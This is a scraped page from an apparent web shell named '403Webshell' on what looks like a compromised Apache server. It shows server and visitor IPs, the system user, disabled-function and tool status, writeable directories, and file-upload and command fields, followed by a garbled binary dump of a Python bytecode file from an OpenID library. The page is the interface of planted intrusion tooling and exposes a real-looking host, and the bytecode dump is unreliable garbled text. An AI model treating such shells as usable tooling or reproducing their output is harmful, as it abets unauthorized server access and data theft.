403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/openid/yadis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/openid/yadis/__pycache__/discover.cpython-311.pyc
�

|=�^����gd�ZddlmZddlmZddlmZmZmZddl	m
Z
mZGd�de��Z
Gd�d	e��Zd
�Zd�ZdS)
)�discover�DiscoveryResult�DiscoveryFailure�)�StringIO)�fetchers)�YADIS_HEADER_NAME�YADIS_CONTENT_TYPE�YADIS_ACCEPT_HEADER)�MetaNotFound�findHTMLMetac��eZdZdZdZd�ZdS)rzBRaised when a YADIS protocol error occurs in the discovery processNc�J�t�||��||_dS)N)�	Exception�__init__�
http_response)�self�messagers   �7/usr/lib/python3/dist-packages/openid/yadis/discover.pyrzDiscoveryFailure.__init__s&�����4��)�)�)�*�����)�__name__�
__module__�__qualname__�__doc__�identity_urlr�rrrr
s.������L�L��L�+�+�+�+�+rrc�8�eZdZdZdZdZdZdZdZd�Z	d�Z
d�ZdS)rz:Contains the result of performing Yadis discovery on a URINc��||_dS)zgInitialize the state of the object

        sets all attributes to None except the request_uri
        N)�request_uri)rrs  rrzDiscoveryResult.__init__)s��
'����rc�4�|j�dS|j|jkS)z*Was the Yadis protocol's indirection used?NF)�xrds_uri�normalized_uri�rs r�usedYadisLocationz!DiscoveryResult.usedYadisLocation0s���=� ��5��"�d�m�3�3rc�J�|���p|jtkS)z5Is the response text supposed to be an XRDS document?)r#�content_typer	r"s r�isXRDSzDiscoveryResult.isXRDS6s'���&�&�(�(�8��!�%7�7�	9r)rrrrrr!r r%�
response_textrr#r&rrrrrsj������D�D��K��N��H��L��M�'�'�'�4�4�4�9�9�9�9�9rrc�:�t|��}tj|dti���}|jdvrtd|j��|���|j|_|j�	d��|_
t|��|_|jr{|�
��rgtj|j��}|jdvr&td|j��|��}|j|_|�|j�	d��|_
|j|_|S)a�Discover services for a given URI.

    @param uri: The identity URI as a well-formed http or https
        URI. The well-formedness and the protocol are not checked, but
        the results of this function are undefined if those properties
        do not hold.

    @return: DiscoveryResult object

    @raises Exception: Any exception that can be raised by fetching a URL with
        the given fetcher.
    @raises DiscoveryFailure: When the HTTP response does not have a 200 code.
    �Accept)�headers)����zCHTTP Response status from identity URL host is not 200. Got status �content-typez<HTTP Response status from Yadis host is not 200. Got status )rr�fetchr
�statusr�	final_urlr!r*�getr%�whereIsYadisr r#r�bodyr')�uri�result�resp�excs    rrr<s&���S�
!�
!�F��>�#��2E�'F�G�G�G�D��{�*�$�$���#�{�{�
.�/3�5�5�	5�
!�N�F���,�*�*�>�:�:�F��"�4�(�(�F�O�
��?�6�3�3�5�5�?��~�f�o�.�.���;�j�(�(�"�"�#'�;�;�2�37�9�9�C� &�4�C���I�"�l�.�.�~�>�>����9�F���Mrc���|j�d��}|r>|�dd��d���tkr|jS|j�t
j����}|�sZ|pd}|�dd��}t|��dkrb|d�	���
d��r5|d�dd��d�	��}nd	}t|jt��rs	|j�|��}n^#t$rJ	|j�d	��}n+#t$r|j�|d
��}YnwxYwYnwxYw|j}	t!t#|����}n#t$tf$rYnwxYw|S)z�Given a HTTPResponse, return the location of the Yadis document.

    May be the URL just retrieved, another URL, or None if no suitable URL can
    be found.

    [non-blocking]

    @returns: str or None
    r-�;�r��zcharset=�=zutf-8�replace)r*r1�split�lowerr	r0r�rsplit�len�strip�
startswith�
isinstancer3�bytes�decode�UnicodeErrorrrr)r6r%�	yadis_loc�encoding�contents     rr2r2hs	���<�#�#�N�3�3�L�	�1����s�A�&�&�q�)�/�/�1�1�5G�G�G��~���L�$�$�%6�%<�%>�%>�?�?�	��(	�(�-�2�L�#�*�*�3��2�2�H��H�
�
��"�"��Q�K�%�%�'�'�2�2�:�>�>�#�#�A�;�,�,�S�!�4�4�Q�7�=�=�?�?���"���$�)�U�+�+�
$�H�"�i�.�.�x�8�8�G�G��#�H�H�H�H�"&�)�"2�"2�7�";�";����'�H�H�H�#'�)�"2�"2�8�Y�"G�"G����
H������
H�����)��
�(��'�):�):�;�;�	�	�� �,�/�
�
�
���
����
�sH�5E�
F$�E6�5F$�6%F�F$�F�F$�#F$�/G�G �G N)�__all__�ior�openidr�openid.yadis.constantsrr	r
�openid.yadis.parsehtmlrrrr�objectrrr2rrr�<module>rRs��
=�
=�
=��������������@�@�@�@�@�@�@�@�@�@�=�=�=�=�=�=�=�=�+�+�+�+�+�y�+�+�+�#9�#9�#9�#9�#9�f�#9�#9�#9�L)�)�)�XA�A�A�A�Ar

Youez - 2016 - github.com/yon3zu
LinuXploit